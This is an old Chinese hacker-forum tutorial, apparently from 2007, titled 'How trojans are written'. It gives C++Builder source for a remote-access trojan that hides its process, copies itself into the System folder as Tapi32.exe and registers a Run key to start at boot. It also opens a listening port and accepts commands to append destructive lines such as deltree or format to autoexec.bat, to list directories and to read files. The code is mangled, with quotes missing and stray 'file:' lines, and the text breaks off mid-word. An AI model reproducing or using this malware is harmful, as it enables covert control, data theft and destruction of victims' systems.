木马是如何编写的.docx
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木马是如何编写的
木马是如何编写的
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2007-7-315:
07:
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华夏黑盟
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特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布BackOrifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!
要知道,木马(Trojan)的历史是很悠久的:
早在AT&TUnix和BSDUnix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。
那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。
国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。
直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?
!
木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。
为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。
目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?
启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:
一个是Internet页中的ServerSocket,另两个是Fastnet页中的NMFTP和NMSMTP。
ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。
Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(FileTransferProtocol文件传输协议)和SMTP(SimpleMailTransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。
不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。
因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。
双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。
这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。
因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。
不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORDdwVersion=GetVersion();
//得到操作系统的版本号
if(dwVersion>=0x80000000)
//操作系统是Win9x,不是WinNt
{
typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCEhDLL;
LPREGISTERSERVICEPROCESSlpRegisterServiceProcess;
hDLL=LoadLibrary("KERNEL32");
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!
)。
为什么要判断操作系统呢?
因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:
C:
\Windows\System,并修改注册表,以便启动时自动加载:
{
charTempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\Tapi32.exe").c_str(),FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=newTRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!
=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。
再将Port填入4444,这是木马的端口号,当然你也可以用别的。
但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。
你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTPControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE*fp=NULL;
char*content;
inttimes_of_try;
charTempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile,"%s",AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
//在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiStringtemp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!
接着就是修改目标机的各种配置了!
^_^首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="editconf")
//如果接受到的字符串的前9个字符是“editconf”
{
intnumber=temp.Length();
//得到字符串的长度
intfile_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
FILE*fp=NULL;
charfilename[20];
chmod("c:
\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:
\\config.sys",S_IREAD|S_IWRITE);
//将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:
\\autoexec.bat");
//如果第11个字符是1,就把Autoexec.bat格式化
elseif(file_name==2)
sprintf(filename,"%s","c:
\\config.sys");
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计数器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+");
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("FailByOpenFile");
//就发回“FailByOpenFile”的错误信息
gotoEND;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/yC:
或者format/q/autotestC:
,够毒吧?
!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess");
//然后发回“Success”的成功信息
}
}
你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。
呵呵,这只不过是牛刀小试罢了。
朋友,别走开
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:
{
elseif(temp.SubString(0,3)==dir)
{
file:
//如果前3个字符是“dir”
intRead_Num;
char*CR_LF=\n;
intattrib;
char*filename;
DIR*dir;
structdirent*ent;
intnumber=temp.Length();
file:
//得到字符串的长度
AnsiStringDir_Name=temp.SubString(5,number-3);
file:
//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name==)
{
file:
//如果目录名为空
Socket->SendText(FailByOpenDIRsName);
file:
//返回“FailByOpenDIRsName”信息
gotoEND;
file:
//跳到END
}
char*dirname;
dirname=Dir_Name.c_str();
if((dir=opendir(dirname))==NULL)
{
file:
//如果打开目录出错
Socket->SendText(FailbyyourDIRsname!
);
file:
//返回“FailByYourDIRsName”信息
gotoEND;
file:
//跳到END
}
times_of_try=0;
while(fp==NULL)
{
file:
//如果指针是NULL
fp=fopen(TempFile,w+);
file:
//就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file:
//计数器加1
if(times_of_try>100)
{
file:
//如果已经试了100次了,仍未成功(真有耐心!
)
Socket->SendText(FailByOpenFile);
file:
//就发回“FailByOpenFile”的错误信息
gotoEND;
file:
//并跳到END处
}
}
while((ent=readdir(dir))!
=NULL)
{
file:
//如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!
=\\)
file:
//如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+\\+ent->d_name).c_str();
file:
//加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file:
//如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename,0);
file:
//得到目标文件的访问属性
if(attrib&FA_RDONLY)
file:
//“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(R,sizeof(char),3,fp);
file:
//将目标文件属性设为只读
else
fwrite( ,sizeof(char),3,fp);
file:
//失败则写入空格
if(attrib&FA_HIDDEN)
fwrite(H,sizeof(char),1,fp);
file:
//将目标文件属性设为隐藏
else
fwrite(,sizeof(char),1,fp);
file:
//失败则写入空格
if(attrib&FA_SYSTEM)
fwrite(S,sizeof(char),1,fp);
file:
//将目标文件属性设为系统
else
fwrite(,sizeof(char),1,fp);
file:
//失败则写入空格
if(attrib&FA_ARCH)
fwrite(A,sizeof(char),1,fp);
file:
//将目标文件属性设为普通
else
fwrite(,sizeof(char),1,fp);
file:
//失败则写入空格
if(attrib&FA_DIREC)
fwrite(
,sizeof(char),9,fp); file:
//将目标文件属性设为目录
else
fwrite( ,sizeof(char),9,fp);
file:
//失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file:
//将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file:
//写入换行
}
fclose(fp);
file:
//关闭文件
closedir(dir);
file:
//关闭目录
FILE*fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,r);
file:
//打开Win369.bat准备读
times_of_try=times_of_try+1;
file:
//计数器加1
if(times_of_try>100)
{
file:
//如果已经试了100次了,仍未成功
Socket->SendText(FailByOpenFile);
file:
//就发回“FailByOpenFile”的错误信息
gotoEND;
file:
//并跳到END处
}
}
AnsiStringReturn_Text=;
chartemp_content[300];
for(inti=0;i<300;i++)temp_content=\0;
file:
//定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file:
//从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file:
//Return_Text变量加上刚才的300个字符
for(inti=0;i<300;i++)temp_content=\0;
Read_Num=fread(temp_content,1,300,fp1);
file:
//重复
};
Return_Text=Return_Text+temp_content;
file:
//Return_Text变量加上刚才的300个字符
fclose(fp1);
file:
//关闭目标文件
Socket->SendText(Return_Text);
file:
//返回Return_Text变量的内容
}
}
够长吧?
!
察看目录树这么费劲啊?
!
你后面可以用BCB中的各种列表框对Client.exe好好美化美化。
接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?
):
{
elseif(temp.SubString(0,4)==type)
{
file:
//如果前4个字符是“type”
intRead_Num;
intnumber=temp.Length();
AnsiStringFile_Name=temp.SubString(6,number-4);
file:
//将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),r);
file:
//打开目标文件准备读
times_of_try=times_of_try+1;
file:
//计数器加1
if(times_of_try>100)
{
file:
//如果已试了100次了
Socket->SendText(FailByOpenFile);
file:
//返回“FailByOpenFile”的错误信息
gotoEND;
file:
//跳到END
}
}
AnsiStringReturn_Text=;
chartemp_content[300];
for(inti=0;i<300;i++)temp_content=\0;
file:
//定义一个空数组
Re